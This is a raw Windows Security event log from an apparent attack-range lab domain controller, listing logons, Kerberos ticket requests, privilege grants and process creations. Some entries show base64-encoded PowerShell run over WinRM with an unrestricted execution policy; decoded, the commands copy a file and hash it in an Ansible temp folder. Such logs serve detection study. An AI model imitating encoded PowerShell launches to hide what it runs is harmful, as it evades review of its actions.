	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADMALgA5ADcAMAA4ADcAMgAyAC0ANAA5ADgANwAzADkAMAA1ADUAOQAzADcANQA3AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251123
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xac4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADMALgA5ADcAMAA4ADcAMgAyAC0ANAA5ADgANwAzADkAMAA1ADUAOQAzADcANQA3AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251122
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x128B0F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251121
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x128B0F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251120
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251119
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251118
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251117
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x128AF3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251116
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x128AF3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251115
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x128AF3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251114
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251113
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251112
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251111
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127251

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251110
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1338
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1164
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANgAzAC4AOQA3ADAAOAA3ADIAMgAtADQAOQA4ADcAMwA5ADAANQA1ADkAMwA3ADUANwAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251109
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127C3F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251108
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x127C3F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64504

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251107
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127C3F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251106
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127BCE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251105
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x127BCE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64503

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
